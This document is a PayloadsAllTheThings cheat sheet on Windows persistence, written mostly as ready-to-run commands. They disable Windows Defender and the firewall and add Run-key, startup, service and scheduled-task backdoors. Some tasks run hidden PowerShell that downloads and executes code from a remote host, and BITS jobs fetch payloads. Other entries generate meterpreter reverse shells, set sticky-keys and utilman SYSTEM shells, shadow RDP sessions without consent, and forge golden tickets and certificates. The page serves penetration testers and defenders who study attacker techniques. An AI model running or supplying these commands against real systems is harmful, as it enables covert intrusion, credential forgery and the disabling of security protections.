PayloadsAllTheThings/Methodology and Resources/Windows - Persistence.md

Windows - Persistence

Summary

• Tools
• Hide Your Binary
• Disable Antivirus and Security
  • Antivirus Removal
  • Disable Windows Defender
  • Disable Windows Firewall
• Simple User
  • Registry HKCU
  • Startup
  • Scheduled Tasks User
  • BITS Jobs
• Serviceland
  • IIS
  • Windows Service
• Elevated
  • Registry HKLM
    • Winlogon Helper DLL
    • GlobalFlag
  • Startup Elevated
  • Services Elevated
  • Scheduled Tasks Elevated
  • Binary Replacement
    • Binary Replacement on Windows XP+
    • Binary Replacement on Windows 10+
  • RDP Backdoor
    • utilman.exe
    • sethc.exe
  • Remote Desktop Services Shadowing
  • Skeleton Key
• Domain
  • Golden Certificate
  • Golden Ticket
• References

Tools

• SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r

Hide Your Binary

Sets (+) or clears (-) the Hidden file attribute. If a file uses this attribute set, you must clear the attribute before you can change any other attributes for the file.

PS> attrib +h mimikatz.exe

Disable Antivirus and Security

Antivirus Removal

• Sophos Removal Tool.ps1
• Symantec CleanWipe

Disable Windows Defender

# Disable Defender
sc config WinDefend start= disabled
sc stop WinDefend
Set-MpPreference -DisableRealtimeMonitoring $true

# Wipe currently stored definitions
# Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>
MpCmdRun.exe -RemoveDefinitions -All

## Exclude a process / location
Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
Add-MpPreference -ExclusionProcess 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
Add-MpPreference -ExclusionPath C:\Video, C:\install

# Blind ETW Windows Defender: zero out registry values corresponding to its ETW sessions
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

Disable Windows Firewall

Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off

# ip whitelisting
New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP

Simple User

Set a file as hidden

attrib +h c:\autoexec.bat

Registry HKCU

Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.

Value name:  Backdoor
Value data:  C:\Users\Rasta\AppData\Local\Temp\backdoor.exe

Using the command line

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"

Using SharPersist

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add

Startup

Create a batch script in the user startup folder.

PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe

Using SharPersist

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add

Scheduled Tasks User

Using native schtask

# Create the scheduled tasks to run once at 00.00
schtasks /create /sc ONCE /st 00:00 /tn "Device-Synchronize" /tr C:\Temp\revshell.exe
# Force run it now !
schtasks /run /tn "Device-Synchronize"

Using Powershell

PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D

Using SharPersist

# Add to a current scheduled task
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add

# Add new task
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly

BITS Jobs

bitsadmin /create backdoor
bitsadmin /addfile backdoor "http://10.10.10.10/evil.exe"  "C:\tmp\evil.exe"

# v1
bitsadmin /SetNotifyCmdLine backdoor C:\tmp\evil.exe NUL
bitsadmin /SetMinRetryDelay "backdoor" 60
bitsadmin /resume backdoor

# v2 - exploit/multi/script/web_delivery
bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.10.10.10:8080/FHXSd9.sct scrobj.dll"
bitsadmin /resume backdoor

Serviceland

IIS

IIS Raid – Backdooring IIS Using Native Modules

$ git clone https://github.com/0x09AL/IIS-Raid
$ python iis_controller.py --url http://192.168.1.11/ --password SIMPLEPASS
C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true

Windows Service

Using SharPersist

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add

Elevated

Registry HKLM

Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.

Value name:  Backdoor
Value data:  C:\Windows\Temp\backdoor.exe

Using the command line

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"

Winlogon Helper DLL

Run executable during Windows logon

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > evilbinary.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll > evilbinary.dll

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evilbinary.exe" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, evilbinary.exe" /f
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, evilbinary.exe" -Force
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, evilbinary.exe" -Force

GlobalFlag

Run executable after notepad is killed

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"

Startup Elevated

Create a batch script in the user startup folder.

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 

Services Elevated

Create a service that will start automatically or on-demand.

# Powershell
New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here." -StartupType Automatic
sc start pentestlab

# SharPersist
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c backdoor.exe" -n "Backdoor" -m add

# sc
sc create Backdoor binpath= "cmd.exe /k C:\temp\backdoor.exe" start="auto" obj="LocalSystem"
sc start Backdoor

Scheduled Tasks Elevated

Scheduled Task to run as SYSTEM, everyday at 9am or on a specific day.

Processes spawned as scheduled tasks have taskeng.exe process as their parent

# Powershell
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\backdoor.exe"
$T = New-ScheduledTaskTrigger -Daily -At 9am
# OR
$T = New-ScheduledTaskTrigger -Daily -At "9/30/2020 11:05:00 AM"
$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
$S = New-ScheduledTaskSettingsSet
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask "Backdoor" -InputObject $D

# Native schtasks
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM"
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr calc /ru "SYSTEM" /s dc-mantvydas /u user /p password
schtasks /Create /RU "NT AUTHORITY\SYSTEM" /tn [TaskName] /tr "regsvr32.exe -s \"C:\Users\*\AppData\Local\Temp\[payload].dll\"" /SC ONCE /Z /ST [Time] /ET [Time]

##(X86) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
 
##(X86) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
 
##(X86) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
 
##(X64) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
 
##(X64) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
 
##(X64) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30

Binary Replacement

Binary Replacement on Windows XP+

Feature	Executable
Sticky Keys	C:\Windows\System32\sethc.exe
Accessibility Menu	C:\Windows\System32\utilman.exe
On-Screen Keyboard	C:\Windows\System32\osk.exe
Magnifier	C:\Windows\System32\Magnify.exe
Narrator	C:\Windows\System32\Narrator.exe
Display Switcher	C:\Windows\System32\DisplaySwitch.exe
App Switcher	C:\Windows\System32\AtBroker.exe

In Metasploit : use post/windows/manage/sticky_keys

Binary Replacement on Windows 10+

Exploit a DLL hijacking vulnerability in the On-Screen Keyboard osk.exe executable.

Create a malicious HID.dll in C:\Program Files\Common Files\microsoft shared\ink\HID.dll.

RDP Backdoor

utilman.exe

At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

sethc.exe

Hit F5 a bunch of times when you are at the RDP login screen.

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

Remote Desktop Services Shadowing

⚠️ FreeRDP and rdesktop don't support Remote Desktop Services Shadowing feature.

Requirements:

• RDP must be running

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4
# 4 – View Session without user’s permission.

# Allowing remote connections to this computer
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f


# Disable UAC remote restriction
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

mstsc /v:{ADDRESS} /shadow:{SESSION_ID} /noconsentprompt /prompt
# /v parameter lets specify the {ADDRESS} value that is an IP address or a hostname of a remote host;
# /shadow parameter is used to specify the {SESSION_ID} value that is a shadowee’s session ID;
# /noconsentprompt parameter allows to bypass a shadowee’s permission and shadow their session without their consent;
# /prompt parameter is used to specify a user’s credentials to connect to a remote host.

Skeleton Key

# Exploitation Command runned as DA:
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DCs FQDN>

# Access using the password "mimikatz"
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator

Domain

User Certificate

# Request a certificate for the User template
.\Certify.exe request /ca:CA01.megacorp.local\CA01 /template:User

# Convert the certificate for Rubeus
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# Request a TGT using the certificate
.\Rubeus.exe asktgt /user:username /certificate:C:\Temp\cert.pfx /password:Passw0rd123!

Golden Certificate

Require elevated privileges in the Active Directory, or on the ADCS machine

• Export CA as p12 file: certsrv.msc > Right Click > Back up CA...
• Alternative 1: Using Mimikatz you can extract the certificate as PFX/DER

  privilege::debug
  crypto::capi
  crypto::cng
  crypto::certificates /systemstore:local_machine /store:my /export
  

• Alternative 2: Using SharpDPAPI, then convert the certificate: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
• ForgeCert - Forge a certificate for any active domain user using the CA certificate

  ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName harry@lab.local --NewCertPath harry.pfx --NewCertPassword Password123
  ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123 --Subject CN=User --SubjectAltName DC$@lab.local --NewCertPath dc.pfx --NewCertPassword Password123
  

• Finally you can request a TGT using the Certificate

  Rubeus.exe asktgt /user:ron /certificate:harry.pfx /password:Password123
  

Golden Ticket

Forge a Golden ticket using Mimikatz

kerberos::purge
kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
kerberos::tgt

References

• A view of persistence - Rastamouse
• Windows Persistence Commands - Pwn Wiki
• SharPersist Windows Persistence Toolkit in C - Brett Hawkins
• IIS Raid – Backdooring IIS Using Native Modules - 19/02/2020
• Old Tricks Are Always Useful: Exploiting Arbitrary File Writes with Accessibility Tools - Apr 27, 2020 - @phraaaaaaa
• Persistence - Checklist - @netbiosX
• Persistence – Winlogon Helper DLL - @netbiosX
• Persistence - BITS Jobs - @netbiosX
• Persistence – Image File Execution Options Injection - @netbiosX
• Persistence – Registry Run Keys - @netbiosX
• Golden Certificate - NOVEMBER 15, 2021